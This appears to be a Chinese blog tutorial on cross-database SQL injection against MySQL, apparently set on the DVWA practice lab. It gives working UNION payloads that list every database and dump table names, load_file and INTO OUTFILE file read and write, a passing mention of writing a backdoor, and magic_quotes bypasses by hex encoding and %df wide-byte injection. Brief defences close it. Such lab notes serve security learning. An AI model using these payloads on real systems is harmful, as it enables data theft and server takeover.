SQL注入---05--跨站注入

 1 权限说明

 select * from mysql.user;

这里的Y表示我前面的命令权限为root,n表示不支持root权限


导致结果:

如果为root的话,我就可操作这些命令并且可以进行跨数据库攻击,但是如果不是高权限root就无法执行这些操作 

2 root权限

id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

 可以拿到同一个服务器上面的所有的数据库名称,通过information_schema.schemata这个表里面的 schema_name表可以拿到所有数据库的名称

2.2 获取dvwa数据库的表,列,数据信息

id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27dvwa%27--+

拿到了其他数据库的表名

获取列名:

使用column_name,x from infomation_schema.column where column_schema=' xxx' and table_name = 'xxx' 后面必须要跟表名,因为可能会涉及到其他数据库有相同的表名,所以需要限制表名字

3 闲谈

根据图片知识我们可以了解到,在当前数据库如何查别的数据库字段的信息(图中的users字段并没有在数据库dvwa中有,所以这样查---跨站注入)

4 文件读写

load_file() ----读取函数

into_outfile或into_ dump_file:导出函数 

select load_file(C:/DumpStack.log):读取文件

因为这里权限不够,所以为空值

写东西:

SELECT 'x' INTO OUTFILE 'd:/www.txt';

5 路径获取

1 报错显示

2 遗留文件

这里会有路径完整信息

3 漏洞报错

某个框架的发布漏洞报错(cms,th)

4 平台配置文件

比如说php的php.init,里面就会有路径

读取配置文件:

写后门:

常见文件写入问题:
魔术开关:

magic_quotes_gpc:当开启这个魔术开关后,会对单引号(‘),双引号(“),反斜线(/),null进行转义,会强制加/在前面 -------addslashes()这个函数跟魔术开关差不多的效果

怎么绕过魔术开关呢?
1,编码

使用hex编码,mysql数据库可以解析,就可以绕过

2,宽字节注入

%df:大概就是能够将转义符号跟%df合一起变成一个文字

5 爆破(字典--无法之法)

常见路径爆破:

windows: d:/www/xfy

linux: /var/www/xfy

6 防御:

1,类型判断

is_int:设置在变量那个位置进行过滤,如果有字符进去,直接判断错误

is_array

2,自定义关键字

将变量ID里面输入的select变成了fuck

3 ,防护软件

安全狗,云盾,宝塔

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值